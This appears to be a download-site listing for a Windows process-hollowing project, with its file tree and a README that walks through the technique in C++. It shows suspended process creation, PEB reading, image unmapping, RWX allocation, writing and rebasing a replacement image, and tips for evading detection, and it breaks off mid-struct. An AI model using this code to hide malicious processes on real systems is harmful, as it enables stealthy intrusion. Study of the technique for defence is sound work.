• luckystartoucher
  • C/C++
  • 268KB
  • zip
  • 0
  • 1 积分
  • 0
  • 2021-03-17 07:56
process hollowing master
  • Process-Hollowing-master
  • pdf
  • process-hollowing.pdf
  • executables
  • ProcessHollowing.exe
  • HelloWorld.exe
  • sourcecode
  • HelloWorld
  • stdafx.h
  • ReadMe.txt
  • stdafx.cpp
  • HelloWorld.vcproj
  • HelloWorld.cpp
  • targetver.h
  • ProcessHollowing
  • internals.h
  • ProcessHollowing.cpp
  • PE.cpp
  • PE.h
  • stdafx.h
  • ReadMe.txt
  • ProcessHollowing.vcproj
  • stdafx.cpp
  • targetver.h
  • ProcessHollowing.sln
# Process Hollowing Full Credits to: John Leitch ## Introduction Process hollowing is yet another tool in the kit of those who seek to hide the presence of a process. The idea is rather straight forward: a bootstrap application creates a seemingly innocent process in a suspended state. The legitimate image is then unmapped and replaced with the image that is to be hidden. If the preferred image base of the new image does not match that of the old image, the new image must be rebased. Once the new image is loaded in memory the EAX register of the suspended thread is set to the entry point. The process is then resumed and the entry point of the new image is executed. ## Building The Source Executable To successfully perform process hollowing the source image must meet a few requirements: To maximize compatibility, the subsystem of the source image should be set to windows. The compiler should use the static version of the run-time library to remove dependence to the Visual C++ runtime DLL. This can be achieved by using the /MT or /MTd compiler options. Either the preferred base address (assuming it has one) of the source image must match that of the destination image, or the source must contain a relocation table and the image needs to be rebased to the address of the destination. For compatibility reasons the rebasing route is preferred. The /DYNAMICBASE or /FIXED:NO linker options can be used to generate a relocation table. Once a suitable source executable has been created it can be loaded in the context of another process, hiding its presence from cursory inspections. Creating The Process The target process must be created in the suspended state. This can be achieved by passing the CREATE_SUSPENDED flag to the CreateProcess function via the dwCreationFlags parameter. ```cpp printf("Creating process\r\n"); LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA ( 0, pDestCmdLine, 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo ); if (!pProcessInfo->hProcess) { printf("Error creating process\r\n"); return; } ``` Once the process is created its memory space can be modified using the handle provided by the hProcess member of the PROCESS_INFORMATION structure. ## Gathering Information First, the base address of the destination image must be located. This can be done by querying the process with NtQueryProcessInformation to acquire the address of the process environment block (PEB). The PEB is then read using ReadProcessMemory. All of this functionality is encapsulated within a convenient helper function named ReadRemotePEB. ```cpp PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess); ``` Once the PEB is read from the process, the image base is used to read the NT headers. Once again ReadProcessMemory is utilized, and the functionality is wrapped in a convenient helper function. ```cpp PLOADED_IMAGE pImage = ReadRemoteImage ( pProcessInfo->hProcess, pPEB->ImageBaseAddress ); ``` Carving The Hole With headers in hand there is no longer a need for the destination image to be mapped into memory. The NtUnmapViewOfSection function can be utilized to get rid of it. ```cpp printf("Unmapping destination section\r\n"); HMODULE hNTDLL = GetModuleHandleA("ntdll"); FARPROC fpNtUnmapViewOfSection = GetProcAddress ( hNTDLL, "NtUnmapViewOfSection" ); _NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; DWORD dwResult = NtUnmapViewOfSection ( pProcessInfo->hProcess, pPEB->ImageBaseAddress ); if (dwResult) { printf("Error unmapping section\r\n"); return; } ``` Next, a new block of memory is allocated for the source image. The size of the block is determined by the SizeOfImage member of the source images optional header. For the sake of simplicity the entire block is flagged as PAGE_EXECUTE_READWRITE, but this could be improved upon by allocating each portable executable section with the appropriate flags based on the characteristics specified in the section header. ```cpp printf("Allocating memory\r\n"); PVOID pRemoteImage = VirtualAllocEx ( pProcessInfo->hProcess, pPEB->ImageBaseAddress, pSourceHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (!pRemoteImage) { printf("VirtualAllocEx call failed\r\n"); return; } ``` ## Copying The Source Image Now that memory has been allocated for the new image it must be copied to the process memory. For the hollowing to work, the image base stored within the optional header of the source image must be set to the destination image base address. However, before setting it the difference between the two base addresses must be calculated for use in rebasing. Once the optional header is fixed up, the image is copied to the process via WriteProcessMemory starting with its portable executable headers. Following that, the data of each section is copied. ```cpp DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase; printf ( "Source image base: 0x%p\r\n" "Destination image base: 0x%p\r\n", pSourceHeaders->OptionalHeader.ImageBase, pPEB->ImageBaseAddress ); printf("Relocation delta: 0x%p\r\n", dwDelta); pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress; printf("Writing headers\r\n"); if (!WriteProcessMemory ( pProcessInfo->hProcess, pPEB->ImageBaseAddress, pBuffer, pSourceHeaders->OptionalHeader.SizeOfHeaders, 0 )) { printf("Error writing process memory\r\n"); return; } for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) { if (!pSourceImage->Sections[x].PointerToRawData) continue; PVOID pSectionDestination = (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress); printf ( "Writing %s section to 0x%p\r\n", pSourceImage->Sections[x].Name, pSectionDestination ); if (!WriteProcessMemory ( pProcessInfo->hProcess, pSectionDestination, &pBuffer[pSourceImage->Sections[x].PointerToRawData], pSourceImage->Sections[x].SizeOfRawData, 0 )) { printf ("Error writing process memory\r\n"); return; } } ``` As was mentioned earlier taking this step a bit further by applying the proper memory protection options to the different sections would make the hollowing harder to detect. Rebasing The Source Image If the delta calculated in the prior step is not zero the source image must be rebased. To do this, the bootstrap application makes use of the relocation table stored in the .reloc section. The relevant IMAGE_DATA_DIRECTORY, accessed with the IMAGE_DIRECTORY_ENTRY_BASERELOC constant, contains a pointer to the table. IMAGE_DATA_DIRECTORY relocData = pSourceHeaders-> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; The relocation table itself is broken down into a series of variable length blocks, each containing a series of entries for a 4KB page. At the head of each relocation block is the page address along with the block size, followed by the relocation entries. Each relocation entry is a single word; the low 12 bits are the relocation offset, and the high 4 bits are the relocation types. C bit fields can be used to easily access these values. ```cpp typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Typ